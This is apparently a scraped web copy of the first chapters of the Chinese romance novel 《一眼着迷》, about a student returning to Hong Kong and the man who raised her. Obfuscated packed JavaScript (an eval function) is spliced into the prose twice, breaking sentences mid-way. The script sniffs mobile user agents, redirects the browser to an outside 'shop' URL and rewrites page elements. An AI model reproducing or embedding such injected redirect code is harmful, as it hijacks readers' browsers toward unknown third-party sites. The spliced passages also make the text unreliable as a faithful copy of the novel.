《一眼着迷》 1. 一眼着迷 《一眼着迷》 文/茶暖不思 晋江文学城正版首发 - 「旧金山的吉野樱又开了,一年,一年,又是一年,你还是没来接我回家。 原来骗人是可以不说谎话的,你从未教过我。 今年生日我不再许愿,只是闭眼如堕五里雾,回想起了五岁那年在棠里镇,算命先生写的今可休思。 那是曾经我最喜欢的四个字。 后来我最讨厌的,也是他的那句,长兄如父。 ——周楚今」 - 大本钟敲响晚六点的报时。 敞篷车的声浪伴着钟声,疾驰过日暮下一片古金的澳门尖拱塔楼群,向港珠澳大桥而去。 “我这幢别墅呢,旧时是葡萄牙人的图书馆,家具都是古董,结果今日砸得没剩几件,尤其那个象牙雕塑啊,猛犸象灭绝上万年了,好稀罕的!谈下帐目怎么算吧——” 驾驶座,男人右耳挂着只蓝牙耳机,耳廓上一对黑银兽面耳骨夹,渐灰色细框墨镜遮住了他的双眼,黑色短发顶风而乱。 他扯唇,唇角淤血和颈侧的血痕让他额外多出几分傲岸。 “给你脸了?” 耳机里的咄咄声瞬间蔫了气,一口港粤开始哭丧:“不是吧大佬,我真的好心痛的,弥补点我啊,我想要你那颗Pink Princess……” 男人没搭腔。 他不作声时别人心里往往更发毛。 对方被晾了会儿,估计自己也心虚,轻咳一声,违心地自寻台阶:“算啦,也没那么想要……不过话说回来,我别墅那只捷克狼养半年了都不情愿认主,怎么你住半月它就服从了,帮你拦人,还放你出去?” “没本事就不要学人养护卫犬。” “……” 电话里的人“喂”了半天,不敢回怼,嘀咕:“算你狠,纪伯派这么多保镖过来都关你不住。” 男人语调冷了几度:“看好老东西的人,今晚少来烦我。” “放心,都打狂犬去了,忙到没空……”对面说着突然止声,豁然反应过来:“今晚?别告诉我你去港区了?” “怎么,我去不得?” “都已经……” “她都已经一个人在外面四年了,家宿。” 陈家宿闭嘴了,知道再费口舌都没用。 身体重要,英国的事更重要,他不该在这节骨眼离开,但那小姑娘过来了,就只有她最重要,一向如此。 “她不是儿时了,不会受欺负的。” 静两秒,男人低语:“也是,小女孩儿长大了。” 陈家宿佯装不经意接话:“长大了,更靓了,追她的男同学那么多,一定有人拍拖了嘛。” 男人轻嗤:“她是乖孩子,你以为她是你?” 陈家宿不可思议感叹一声,浮夸的语气:“你不会真不知道自己妹妹有多漂亮吧?” “漂亮么?”男人单手掌着右舵方向盘,右肘倚上车门,脸上的情绪都被墨镜尽数掩盖。 他不紧不慢接着说:“一般吧。” 陈家宿忍了会儿,没忍住,边发笑边耐人寻味道:“这里就只有我,二哥,你扮什么正人君子?” 男人云淡风轻:“想回英国你可以直接告诉我。” “……错了。”陈家宿顿时笑不出来。 男人没理他。 “我给你顶着,不过也顶不了多久,你几时回?”陈家宿表忠心,言归正传:“远远看一眼就好了,不止我,陆仔乔爷他们也都有暗里照顾着的。” “我们这几个哥哥哪个不疼她,你不用再像个老daddy操心的嘛。” 陈家宿又说:“而且她都不一定想见你啊。” 男人淡哼,唇边挑起匪气的括弧:“白养她了?” 陈家宿叹了声气:“你是真没想到,还是揣着明白装糊涂?” 敞篷拉起的风吹得男人衬衫的古巴领开散,领子分明松垮,他却莫名感觉紧着呼吸。 他拧起眉,劲瘦的手指拽了两下领口,衣下肌理硬实。 港珠澳大桥上万盏灯按时通亮,往桥的尽头抛出了两条光带。 他后颈重量压到靠枕上,透过墨镜目视前方,面无表情把油门踩到底。 引擎声振聋发聩,布加迪黑武士超跑车速超过一台又一台,逆着风直通港区。 海面浮光跃金,落日的火焰从伶仃洋水域烧至半边天,灰底之上是靛蓝的天和橘红的云。 肉眼望不见的云层上,有一架自旧金山飞往港区的客机,正飞渡过这片撞色的长空。 同时,耳机里再次响起声音—— “你现在以哪个身份见她呢,二哥?” - 许织夏坐在舷窗边的座位,捧着本心理学书籍阅读。 “Woah,it ''s breathtaking!(哇,美到窒息!)”后座的女生感叹云上日落的美景。 男生也是明显的美国本地口音:“Agreed.(同意。)” “Uh-huh.(嗯哼。)” 男生的情话信手拈来:“You take my breath away,bae.(你美得令我窒息,宝。)” 女生笑着嗔声,黏糊糊的,芙妮终于受不了,扒着座椅转过脸,不解风情地盯着后座这对棕发金眼的小情侣亲了下嘴。 “It''s gross,bro!(太恶心了兄弟!)”芙妮无语得眼线耷拉成一条直线。 男生揽住女友:“Sorry,please ive me,I''ve got it bad.(原谅我,我深陷情网。)” 女生亲昵依偎着男生,冲芙妮眨眼:“Yeah。” 芙妮快要抓狂,翻着白眼回身,闭眼深呼吸稳定自己的情绪:“今晚我就吊死在他们房门口!” 许织夏无声笑了下。 “啊……”芙妮生无可恋地把头栽歪到许织夏肩上:“这对兄妹真让人吃不消。” 芙妮的中文发音有模有样,因为学院部分课程是中文授课,他们时常交流,大家都有一定中文基础。 许织夏掀过一张书页:“你不也是在美国长大的吗?” 芙妮和小情侣都来自美国,不过小情侣所属的州区旁系近亲结婚合法,因此哪怕他们是堂兄妹,那些所谓晦涩可耻的风流丑事,对他们而言都是被许可的自由。 但芙妮不同。 “在我们州区,兄妹谈恋爱可都算犯罪。”芙妮说着,脑袋离开许织夏的肩:“用你们中国的话说,叫□□。” 许织夏敛了敛眼睫毛。 “但如果只是床伴就无所谓了,反正关起门也没人知道!”芙妮兀自调笑,话音一顿,又朝许织夏俏皮吐舌头:“对不起亲爱的,忘了你和男人最大的尺度是同桌,我下次注意。” 许织夏抬了下眼,视线又很快落回书页,回避了眼神交流。 没得到回应,芙妮敏锐凑过去,看破并说破:“你背着我结束清汤寡水的生活了?” 许织夏看着书里密密麻麻的英文,若无其事说:“……课程够忙了,我只有空对学术滥情。” “也对,”芙妮耸肩:“男人哪有文献老实。” “Ladies and gentlemen,this is captain speaking……” 广播响起,终止了话题。机长提醒所有乘客飞机即将抵达港区国际机场,地面温度二十五摄氏度。 “嘿,夏。”再邻座的另一个男士伸头探脑,隔着芙妮,目光寻到许织夏,问她等会儿到了港大要不要一起吃晚餐。 意大利男人的五官通常都很立体,眼睛深邃自带美瞳,窄腰长腿的身材不逊色男模。 芙妮承认他很英俊,每个眼神都好比是在抛钩子,先天条件太优越,被女人喜欢是应该的。但芙妮仍对其积怨已久,要怪就怪这位花心的富家子弟,总当着她面钓她的乖宝宝室友。 “歇歇吧,我们大美妞对你这样的公子哥一点兴趣都、没、有!”芙妮对着他摇摆食指。 “我不是她喜欢的类型?” “我相信她的眼光。” 里斯一听她是在挖苦,哼笑,但依旧坦荡,好脾气地向芙妮请教小姑娘都喜欢什么样的。 芙妮悠然抱起胳膊:“首先外貌要顶级的,比如京市盛家和港区贺家那两位。” 里斯啧声问:“非中国人不可?” “想到了,还有一个!”芙妮打响指,在里斯被勾起兴致时,她满眼痴迷地说下去:“Shing-yuan Ji的次子。” “……纪家老二?”里斯压低了声音,仿佛这名头是不能犯的忌讳。 “你知道?” 里斯无奈低下脸,捏捏鼻梁:“他父亲是中英混血,在英国地位很高,可他生母据说来自中国南方,虽然没见过,但他看上去肯定就是中国人。” 芙妮就爱看他吃瘪,但没接话,忽而提及其他:“我见过的最漂亮最优秀的女孩子,为学业四年都没回国,追她的男人凑一起都能举办足球联赛了,其中有个花花公子,迷恋她好多年,惦记人家又不告白,还不停和其他姑娘恋爱分手……” 里斯挑眉问:“谁这么混蛋?” 芙妮睨他一眼:“你咯。” 里斯愣了下,低低笑起来,也不忌讳,顶着那张渣帅的脸,说自己可什么都没做,至于那些情爱都是你情我愿。 “别费劲了。”芙妮拍拍他肩。 里斯提醒:“那两个已经有主了。” “还有纪淮周呢,”芙妮说:“你也不是他啊。” 里斯不服:“他曾经是丧家犬。” 芙妮没所谓:“那又如何,现在纪家非他莫属,而且听说连你都没他养眼。” “对待女孩子他可不会有我体面。”里斯被激起好胜心:“这四年他性情大变,和Shing-yuan Ji对着干,甩了不少倾向联姻的乡绅贵族的脸,女郎们都畏惧他的恶劣。” “至少他不乱搞,那些本来也不是他的女人,他没有过女人。”芙妮不当回事。 “你怎么知道他没有过?” “据说他回纪家前,私下里养过一个小女孩儿,你说他不乱搞?”里斯别有深意一笑:“这事也就是被纪家压下了,我可没他搞得变态。” 芙妮瞠目,诧异这小道八卦,不过片刻后她就平静接受:“他一定有难言之隐。” 里斯听得无语:“除此之外,你难道就没听说过其他的吗?雅士谷赛马,还有殓房赌注,那位邵家公子现在精神都还没正常……他的恶行太多了,不要好奇他,这是个恶名远扬的疯子!” “邵家公子那是自找的,怪不到他头上。”芙妮理所当然:“再说了,女人都着迷他,肯定有他的道理。” “……” 这女人简直无可救药!里斯被她气到。 许织夏目光停留在同一单词上很久,迟迟没再看进去。 芙妮和里斯闹分歧,不乐意搭理他了,但她话痨,嘴闭不安分,于是朝许织夏黏过去。 许织夏柔顺的长发别在耳后,露出小小的鹅蛋脸,线条柔和,皮肤皙亮,一双鹿眼自然半弯,眉眼和唇底色鲜活。 她不只是漂亮或美,骨子里还有一种从小养出来的细腻,赏心悦目的,没有攻击性,像透着氧气,看得人心情愉快。 芙妮很钟情她身上这种明明随随便便就能收获万目,却安静不张扬的气质。 她越低调,芙妮越觉得她喜人,不由感慨谁瞧了她都得迷糊。 许织夏听得鸡皮疙瘩,异样的情绪由此中断,用小白鞋碰了下芙妮的小高跟,示意她打住。 芙妮笑嘻嘻靠过去,嘴巴还是闲不住:“亲爱的,我祖母家有只漂亮的布偶猫,表面温柔好脾气,却从不主动,还讨厌别人摸它,你也是,高冷的princess(公主)。” “都没见过你撒娇。不都说你们苏杭的女孩儿嗲嗲的,很会撒娇吗?”芙妮憧憬地望着许织夏:“什么时候会撒娇?只在家里吗?” 许织夏低着头,恍了神,不禁喃喃:“我没有家了……” 细薄的肩颈令她看起来不堪一击,连同声音也没有支撑力,虚得都让芙妮怀疑刚刚她是不是压根没说话:“嗯?” 许织夏敛回涣散的眼神光,合上书放进背包里,不希望再被追问,潜意识随口一答:“犯错的时候吧。” 芙妮双眼放光,直呼到底怎样才能养出这么可爱的女儿。 许织夏整理随身物品的手后知后觉顿住,没再听,心不在焉望出舷窗。 眼前是灰沉沉的天,晚霞已经消匿了,只剩下几丝被冲淡后浑浊的残色,尽管朝起暮落是常态,这一瞬的落差还是叫人唏嘘,难怪古人要说最是人间留不住。 他们此行五人,都是作为斯坦福心理学系的学生代表,受邀到港区大学参加两校合作的心理学科研项目交流学习,为期一月。 航班抵达港区时,天黑如墨,像在头顶严严实实拉了层厚遮光帘,行李托运延误,预约的车子不等人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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里斯目光流转在许织夏身上,想着为自己的过失道歉,但许织夏已偏过脸看向窗外,背包抱在自己腿上,不欲搭理任何人的样子。 车窗外的风把她顺亮的黑发从身前吹开,小吊带牛油果绿,外面是件很薄的透色白针织外搭,天鹅颈和单薄的肩背都有种清冷气,显得她像面柔脆的镜子,一碰就会破碎。 里斯没想到,会有女孩子连个背影都让他心软,责怪再莫名他也无从发作。 面对情场上难得的失手,里斯一时摸不着头脑,挠挠耳朵,极其诚恳地向芙妮发问:“在中文里,小尾巴是某种禁忌词汇吗?” 芙妮嘲笑他:“别祸害我们夏了,当心她家长收拾你。等你能帅过纪老二再来泡妞吧。” 又是那个男人。 里斯头疼:“你一定要随时提他吗,My dear,他身上就好像有剧毒,谁碰谁死!况且他们玩养成的男人,都有病态情趣。” “男人不坏女人还不爱呢,谢谢提醒,我是成年人。” “好吧好吧,那我就再提醒提醒,你们这些小姑娘,和他八竿子也打不着……” 许织夏心头千回百转,掏出耳机塞进耳朵里,手肘抬到车窗上,枕着胳膊眺望车外。 港区夜景靡丽,到处是光的碎影,时不时经过水域,都能看到荡着的渡轮。 情绪在她脑子里横冲直撞得更猛烈了。 车窗外的风迎面吹了一路,许织夏不知不觉睡过去,但在车上睡得浅,芙妮一声雀跃的“我们公寓下面居然有吉野樱”猝不及防压过耳机里的声音,她就醒了。 许织夏惺忪睁开眼睫,芙妮口中的“吉野樱”便入目。 的士不知何时开到了一段“樱花道”,花树开得很繁盛,两侧顶端的细枝绦探出半拱的弧度,差点穿插到一起,空出一条狭长的夜空。 今夜有风,白里透着半透明粉的花瓣雪一样阵阵飞落,氛围宁静又温暖。 她发丝在脸旁扬落,白色耳机一只脱落在手臂,一只还塞在耳朵里,几片花瓣被风卷进窗内,落到她牛油果绿的小吊带上,又蹭着她锁骨的肌肤下滑掉地。 许织夏眼睫忽颤。 那不是垂丝海棠吗? 港区冬季冷不到哪儿去,难以实现低温春化,不适合敏感的海棠生长,何况还要开得艳。除非花大价钱租下冷藏库一整个冬天,再在春天特地照料,才有可能在这里看到江南的海棠短短开花几日。 谁会这么有钱又有闲。 许织夏下巴压着手背,趴在车窗上,人还迷迷糊糊的。 “嚯,那台黑武士酷毙了!”里斯振奋接话,浑身起了劲,男人对好车都眼尖。 芙妮好奇地探出身张望。 一台布加迪黑武士超跑停靠在前头的花树下,敞篷已关,无疑是在这儿停泊了许久时间,车顶部和前盖都落了不少花,在路灯橙黄的光照下,如同铺了层疏松的粉雪。 不过车里有人在。 右舵驾驶座降着窗,车主人一只手随意扶着方向盘,腕部名贵的鳄皮腕表反出细闪,右胳膊横搭出窗外,黑色暗花衬衫袖口往上不规矩地翻折着几褶,挂出一只青筋分明的手,和一截紧致而有力量的小臂。 他手头夹着支烟,没有点火,指尖慵懒垂悬着,半分劲都没提,带着藏锋敛锐的松弛感。 车厢里暗,只能依稀识别出他耳上的兽面耳骨夹。 许织夏趴在窗边,的士就要经过那台车子,车里的男人正也侧过脸,向外瞥出目光。 “唔……” 有一朵摇摇欲坠的海棠花被风晃断花梗,忽而从枝头砸落,落花不偏不倚打中她的鼻尖。 许织夏倏地反射性闭眼,皱了皱小翘的鼻子,一副被欺负了的模样。 就在那个瞬间,两车擦肩一闪而过。 前后不过一两秒。 “你不是老古板啊,是对今宝没有那样的感觉?又或者是自己养大的没瘾?” 耳机里听见这句时,窗外交错的光影正掠过男人那双黑蓝色深沉的眼。 静静凝望片刻窗外空落恶景,他才敛回目光,阖目仰靠,那支烟还在垂悬的指尖无可无不可地转玩着,语气冷淡警告。 “我骂人不好听。” “别这样,二哥,我懂,又打给你不是催你回来,我只是想看看——” 陈家宿字里行间带着几分不揭穿的笑意,以及几分视死如归:“看看你能道貌岸然到几时。” 2. 一眼着迷 “He looks so dashing!(他帅呆了!)” 芙妮一亢奋就下意识用回了母语,的士不止速,她扒着车窗后望,眼睁睁见那台超跑遥遥远去,才终于舍得回首,目光纵向后座。 “他单身吗?”先前途中的困顿彻底烟消云散,芙妮情绪高昂:“我想搭讪他!” “谁知道呢?”里斯歪了下头,他靠窗远,都没望到男人的脸。 芙妮急不可待地问许织夏:“你呢亲爱的?” 刚睡醒不久,许织夏脸颊晕红,还在状况外,一声犯懵的疑惑,敷衍笑笑:“别指望我。” 她当时锁着眼睛,什么都没瞧见,也不是很在意。 芙妮一听不胜遗憾,说自己也没看清,错过了帅哥。 许织夏问:“你怎么知道是帅哥,你都没有看清。” “帅是一种感觉。” 许织夏老实巴交地点破:“你看五花肉的时候也很有感觉。” 芙妮:“……” 里斯不厚道地笑出了声。 开过那条海棠花开的道路,再拐上半坡弯道,一栋薄扶林道的校外学生公寓出现眼前。 许织夏目光被车窗外的情景引去,重新安静下来。 这十多年薄扶林道似乎拆了不少老建筑,太久远她印象也不深了,那一面面特色红砖墙倒是没变,只不过看见时,她的心情依旧无法免疫。 的士到达目的地,许织夏拍拍脸蛋醒神,打断自己沉浸的思绪,跟着芙妮和里斯下车。 登记入住后,他们托着行李去找房间。 都要乘电梯上楼了,芙妮还在对那个惊鸿一瞥的男人念念不忘,着魔了似的开始自说自话:“我确定,那一定是个中国男人。” 里斯被她念得头疼,按捺不住打击她:“开那种车子的男人,这年纪还是单身,那可真是见鬼了。” “他车上没有女人。” “或许他在等,他一看就在那里停了很长时间。”里斯拆台:“醒醒,没有糖爹会对你有想法。” 芙妮气得掩唇长笑:“你怎么确定他对我没想法!” 里斯无言以对,飞她一记白眼:“小姐,你很缺男人吗?” “你说对了,医生建议我枕着腹肌睡,你是要和他争宠吗?”芙妮哼声扭过头去。 里斯欲言又止,叹气:“我很羡慕你的精神状态。” 到房间后,芙妮一把拽走许织夏,“砰”得摔上入户门,把笑得正得意的里斯拒之门外,门关上前还记仇地对里斯吼了句:“挂墙上去吧,臭男人!” 芙妮回头和许织夏面对面,理所当然摊摊手:“我只是好色,我有错吗?” 许织夏笑了笑,知道她爱听什么:“当然没有,不属于你的男人也没必要长那么帅。” 芙妮乐得给了许织夏一个飞吻。 “我还是不够勇敢,遇见型男都不敢吻上去。”芙妮哼着歌,愉快地拎出在7-eleven买的白朗姆和伏特加,扭着腰走向厨房,说是课程后天才开始,今晚要为她调杯酒。 小情侣放下行李就出去约会了,芙妮进了厨房,这里就只剩了许织夏一个人。 许织夏卸下了笑容,拖着行李箱,默默进自己的房间收拾。 强颜欢笑实在是很煎熬,今晚在港区,她其实并没有什么心情。 宿舍是酒店式公寓,套房构造,女生都分在901,两个男生住对面。宿舍崭新,空间敞亮,公共区域有阳台客餐厅及厨房,三间卧室皆有独卫和落地窗,背靠港大,面朝坚尼地城那片海。 在地皮天价的港区,能低租金拥有这般条件的住宿简直出人意料。 衣物有条有理挂进衣柜,合上空行李箱起身,许织夏便望见落地窗外坚尼地城的海景,被框在近处的幢幢高房之间,只露一部分闪着繁星的深蓝。 再近些的行人和车辆按了快进键,在朦胧的暖橙光影里忽然加速穿梭。 目光慢慢聚焦,玻璃上映出她清瘦的身影,转瞬水珠此起彼落砸溅到窗面,啪嗒啪嗒地响。 原来是下雨了。 许织夏静立窗前,心情有些悲哀。 她喜欢雨天,但不喜欢港区的雨,偏偏现在雨水连绵,连天公也不作美。 许织夏晃了晃脑袋,想把一下子涌上来的复杂情绪都晃走,走过去坐下,呼出一口气,人无力地趴到书桌上。 走了片刻神,许织夏不由伸出胳膊,摸出包底那本“小尾巴专属”日记。 本子有些年头了,写过的一沓沓纸张已是非常厚沉,尽管本身页数不少,她也写得密密麻麻的很珍惜,但这么些年过去,如今也只剩最后几页了。 日记翻到最新页,许织夏敛着睫毛,一只手背垫着下巴,另一只手握着支笔。 「今晚港区下雨了,而我又回到这里,算算时间,已经过了十七年。绕了那么一大圈,我还是和最初一样一无所有。 小时候常听阿公阿婆说,做人要以终为始,我现在找不到我的那个终了。 我不知道要怎么办,你送我的日记本也快要写完了,可我总想留着。你说的,路不走到底,就不会看到尽头。] 停顿两分钟之久,钢笔才重新落下去。 [但我明白,很久之前你就不再与我有关。 那就到今天为止吧。 其实最近,我已经很少想起你了……」 笔尖顿在纸面半晌,芙妮的叫唤声猝然逼近门口,许织夏一下回神,盖笔合上本子,迅速塞进抽屉深处。 “我为你调了杯莫吉托,亲爱的!”芙妮托着两杯自制的简易特调,步履欢快来到她的书桌前,递给她不易醉的那杯。 许织夏凝着面前薄荷绿的酒液,略有迟疑,还是伸出双手接过,只是没立刻去喝。 芙妮撑在桌沿,尝了口自己那杯伏特加:“你以前在港区待过?” 噼里啪啦的雨声中,许织夏模棱两可回答:“有过一些……牵绊。” “开心的?还是负面的?”芙妮问。 许织夏抿笑了下,没说话。 她仰头,半杯酒鼓起了她的腮帮,她分了几口全咽进了肚子里,眼睛被酒精辣得微微敛起。 “你不说我也能猜到,是和你的意中人。”芙妮自信地挑了挑眉,见她没有当即否认,芙妮迸发出更为巨大的好奇:“谁呢?什么姿色的男人才能被你喜欢?你就告诉我吧,我非要气死那个臭里斯!” 喉咙到胃里都热乎乎的,许织夏晃晃余半的酒杯,目光浸在酒里,思维不知何去:“我不知道……” “不知道?” 不知道算不算喜欢,或许正如那个人所说,只是单纯的依赖。 沉默好一会儿,许织夏才低声说:“他叫周玦。” 周玦是谁? 芙妮在脑子里拼命搜索这个名字,确定自己没听过,不认得。见她不愿意再说,芙妮便没有追问。 “我也要回房间享受我的夜晚了。”聊了会儿后,芙妮一边念叨着稍后要看哪部电影一边离开,到门口又笑着回头:“如果还想喝,剩下的酒都在餐桌上。晚安亲爱的,祝你今夜拥有美梦!” “你也是。” 门重新阖上,卧室静下。 许织夏望向落地窗外湿淋淋的夜,突然觉得自己是时候要认清某些必然的宿命了。 神游着,那杯莫吉托不知觉见了底。 许织夏并非乖到滴酒不沾,六岁的时候她就喝过酒,不过是误喝,当时醉得疯闹,留下不少笑料。 她心思细,一想起过去就容易多愁善感,所以不想在这样的夜晚太过清醒,否则必然会是一个不眠之夜。 于是微醺状态下,她不由自主走出房间。 客厅未亮灯,周围半明半昧,芙妮正在卧室里观影,门底下闪着光源。 许织夏给自己添了杯伏特加,后倚餐桌,在暗昧里安安静静小口慢抿。 出神多时,那阵雨已然下过去,外头的夜色静悄悄的。 喝着喝着就喝不到酒了,许织夏把空杯子颠倒,晃了晃,流不出一滴。 她叹气,人逐渐恍惚起来,酒热人,她还把外搭的开衫给脱了,又歪着脑袋放空了会儿,搁下玻璃杯,过去推开门,悄无声息走出宿舍。 许织夏步子虚浮,一路飘到电梯间,按了下乘钮后,就自己呆呆站着,半点声儿都无,也没在意身边有人。 耳旁忽然响起一声她的名字。 她倒不至于神志不清,能听出是里斯的声音,但头脑不比平时,因此没去看他,只自己“嗯”了声。 她的出现,里斯惊喜的心情溢于言表:“要出去吗?” 许织夏点点头,电梯门敞开,她不紧不慢走进去。 “我也是。”里斯语气愉快,跟上前:“有时差,睡不着。” 许织夏温吞“哦”了一声,迟钝两秒,又晕乎乎地说:“……那你早点睡。” 里斯一愣,忍不住垂眸笑了。 再抬眼,里斯才瞧见她一片酡红的脸,发觉她饮酒了,想问是不是芙妮又拉上她陪喝酒了,略作停顿,还是把话咽了回去。 因为感觉到她情绪有些低迷。 里斯凭这张脸和身家背景,走到哪里都有姑娘喜欢,以往他都是被动恋爱,许织夏算是里斯第一个主动追求的姑娘。 关于她的初印象,里斯一直没忘。 四年前在斯坦福的首堂课,自我介绍的流程千部一腔,但每个人都不乏对大学校园生活的新鲜感,热情沸腾。 唯独她是冷却的,尽管她起身时教室里的起哄声最大。 她说,她叫许织夏。 里斯喜欢她的声音,像柔软的风,可就这么几个字,她都卡顿了好些秒,当时他想,为什么呢,为什么会有人对自己的名字这么陌生? 说完之后她又沉默很长时间,似乎在和某种情绪较劲,最后她向教授鞠躬,深表歉意,请求缺课几分钟。 她的眼睛红得像清澈的湖面倒映夕阳,他在课桌撑着脸,望着她匆匆离去的背影久久转不回眼。 当时随意翻开的那页书上写着,“树突接收到刺激信号,并产生神经冲动……” 他就是那时莫名其妙对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726213|189460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产生了神经冲动。 后来相处得多了,他开始沉迷,不只是外表和智慧,她身上有股韵致,又坚强又脆弱,又柔又冷的。 他没见过这样的女孩儿,美好得要碎了,让他不敢贸然沾染。 里斯总觉得她这股劲底下藏着鲜活的什么,男人对女人都是有探知欲的,于是他就也越发难以自拔。 如同此刻,他没作声,情不自已跟随她。 许织夏仅仅是想散步而已,没管他,兀自出电梯,出公寓,弯下半坡,慢吞吞走到了那条种植着海棠的道路上。 里斯以为她在为称呼的事不高兴,收敛笑容,郑重向她赔不是:“抱歉,请原谅我。” “不是你的错……”她腔调寂寂,有醉酒的原因,也是深知他不过是被自己的敏感和脆弱殃及。 雨一阵阵,方歇几分钟,又骤不防落起。 许织夏是懵的,反应慢,醉醺醺眯起眼睛仰头去看雨,被里斯拉住手腕,带着飞奔进路旁的电话亭。 港区气温高于旧金山,但独独一件小吊带也难以承受住一个雨中的春夜。 斜风细雨一过,许织夏冷颤,不禁含起薄肩,两条霜白的细胳膊微微拥住自己。 里斯见状靠近,高抬起臂,撑到另一边门框,伟岸身躯与电话亭围成一个小小的封闭空间,为她挡住了凉风的侵扰。 他的动作那么顺其自然,找不出一点刻意为之的痕迹,她如果闪躲都显得矫情。 许织夏不自觉退了小半步,后背轻抵电话机,不言不语,倒也没有强烈抗拒的反应。 昏黄的路灯,滴滴答答的雨,狭小而宁静的电话亭,身陷这样的夜,即便许织夏对眼前的人无意,空气也自然而然沾染上几许桃色。 里斯低头瞧着许织夏,她正被自己圈在臂膀下,半醉的她有着他没见过的呆萌和温顺,引起他心脏情动跳跃。 他老练地拿捏着女孩子的心思,话题在此刻的氛围里恰到好处:“你心里有放不下的人?” 这四年里第一次有人这样直白问她。 许织夏陷入沉默,长久长久的沉默。 里斯声音放得更轻,缱绻得不明意味:“宝贝,相信我,惦记一个不可能爱你的男人,你只会受委屈。” 不可能爱吗…… 许织夏始终不吭声,固执得粉饰着自己的太平。 里斯最懂对待女孩子得循循善诱,但此刻的氛围下,无论是终于宣之于口,还是临时起意,里斯的心情都逐渐难以自控。 他目光深情,注视着她,突然说:“如果我追求你,你会生我的气吗?” 许织夏迷离的瞳孔闪烁了下,尽管依旧低着眼,但表情肉眼可见地有了一丝惊讶和怔愣。 “我要追你。”他语气低柔,却又那么有进攻性:“不想先经过你同意了。” 为了表达清楚,里斯开始讲回英语,有着无限的耐心:“不用有压力,是我自愿的,你不需要对我负责。” 许织夏一时忘了出声。 她对里斯不曾有过特别关注,但此时此刻,他罕见显露出的那点强势,刹那间让她产生一种与他无关的久违感。 里斯观察她神情,以退为进轻笑道:“不说话,我当你默许了。” 雨夜朦胧,气氛暧昧到了这地步,太适合谈情说爱。 里斯私心希望雨下大,侧目去观察雨势,一眼望到那台他惊羡的布加迪黑武士超跑,就停在对面的树下,至今没离开过。 讶异之余,里斯忽而扫见那个男人。 当时他人在车外,对这场雨无动于衷,小雨筛过树梢成了雨丝,落到他的肩头像尘埃。 他后腰靠着车门,身量太高,右腿支地微微曲膝,暗花丝质黑衬衫敛进裤腰,收出窄腰坦腹,古巴领松垮着,领口下利落紧绷的轮廓抢眼。 宽阔的肩膀上,有一对黑银兽面耳骨夹,那副渐灰色细框墨镜还架在他高挺的鼻梁,一直没摘掉,看不见眼睛,显得他更神秘莫测。 里斯接着远远端量他。 见他一手揣兜,单手敲出支烟叼到嘴里,烟盒往后抛进车窗,再摸出裤袋里的打火机弹开,拇指反复轻擦了几下砂轮,就是冒不出火,他压合了金属盖,胳膊意兴阑珊地垂下去,打火机拎在指尖有一搭没一搭把玩。 哪怕隔得远,里斯也能感受到他身上的阴郁和危险,他看似慵懒,松弛之下却更像是有尚未亮出的獠牙。 他长久敛着颔,四周有种危机暗伏的平静。 一个人的贫富可以对外包装,但阶级感通常都源自骨子里的细枝末节,而这个人,只看派头就知道并非等闲之辈。 里斯恍了神,不由寻思这是哪号人物。 这时候,男人抬起食指,慢悠悠勾下了墨镜。 一个无可料及的瞬间,他盯住地面的眼冷不防上抬。 那目光跟尖刀似的,一刀飞进里斯眼里。 里斯眼皮忽颤,脊骨跟着一个悚栗,真感觉自己被剜下了一块眼肉。 若非许织夏是知根知底的女孩子,里斯都要以为,自己勾搭的是这个男人的心肝宝贝。 3. 一眼着迷 “有烟吗?”许织夏终于想起来要反应,生硬扯远话题。 里斯愣住,看见许织夏浑不知情的脸,他思绪很快从男人的压迫中抽出,不再无厘头乱想,当即笑起来,去掏兜里的烟盒,荡出一身风流气:“你还会抽烟,我从不知道。” 许织夏不答,接过他递来的那支烟,攥在手里:“谢谢。” “不过打火机被扣在旧金山的机场了,我正要去买。”里斯试探问:“想不想再一起喝点酒?” 伏特加的后劲汹涌而上,许织夏不太愿意再多讲话,甚至都没思考明白他意思,就“嗯”声敷衍回去。 “稍等我几分钟。”里斯笑着奔进雨里。 他一走,四周顿时变得空静,外面细雨蒙蒙,风过,有花簇的窸窣声。 许织夏只身在电话亭里发呆。 这支烟宛如一条见不得光的毒蛇,从阴影里蜿蜒爬出,露出截尖尾,朝她吐出鲜红又邪恶的信子。 许织夏没抽过烟,从前不听话了是要罚站受批评的,所以她向来安分。 眼下,她突然萌生了堕落的念头,想尝试抽烟。 可只是想想,都好像是要犯天大的错,哪怕是想借酒任性都无法心安理得。 烟在手里捏得皱巴,许织夏脑袋混乱,甩几下甩不清醒,她迷迷瞪瞪踩着一地湿花走到路边蹲下,仰颈闭起眼,让凉丝丝的雨飘到自己脸上。 不多时,公共电话陡然响起来电。 许织夏茫然回首,见它响不停,她才不情不愿地起身,站不太稳踉跄了下,回到电话亭里。 她嗓子都被酒浸泡得虚软,发出的声音格外空灵,尾音拖得长长的,说话也慢,咕哝但态度不失礼貌:“谁呀……” 听筒里悄寂,压低的鼻息似有若无。 许织夏耷拉着眼皮,朦胧地眯成一条缝,凝神卖力去听,一道成熟男性略哑的声音缓缓入耳,声线沉而压迫,又矛盾地伴着几分理应不存在的柔和。 “瘦了。” 许织夏脑中轰响,呆滞着,刹那间就被这个声音抽走了魂。 没出声,以为自己幻听了。 她的沉默在意料之内,男人没要求她回应,自然而然地把彼此间的陌生感压到最低,换了个稀松平常的语气:“下雨,乱跑什么。” 电话里,他又不着痕迹问:“男朋友?” 许织夏双手紧握着耳旁的听筒,屏住气,心脏慢半拍地重重震起来。 